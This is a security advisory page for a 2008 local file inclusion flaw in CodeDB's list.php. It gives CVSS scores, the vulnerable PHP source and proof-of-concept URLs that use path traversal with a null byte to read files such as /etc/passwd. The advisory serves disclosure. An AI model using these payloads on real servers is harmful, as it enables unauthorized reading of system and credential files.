CodeDB (list.php lang) Local File Inclusion Vulnerability

2008-07-16 / 2008-07-17
Credit: cOndemned
Risk: Medium
Local: No
Remote: Yes
CWE: Not in CWE


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

############################################################################### # # Name : CodeDB (list.php lang) Local File Inclusion Vulnerability # Author : cOndemned # Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;* # ############################################################################### Source : // list.php 2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol 7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension 8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d Proof of Concept : http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00 http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00 http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00 EoF.

References:

http://xforce.iss.net/xforce/xfdb/43761
http://www.securityfocus.com/bid/30227
http://www.milw0rm.com/exploits/6071
http://www.frsirt.com/english/advisories/2008/2105/references
http://secunia.com/advisories/31053


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top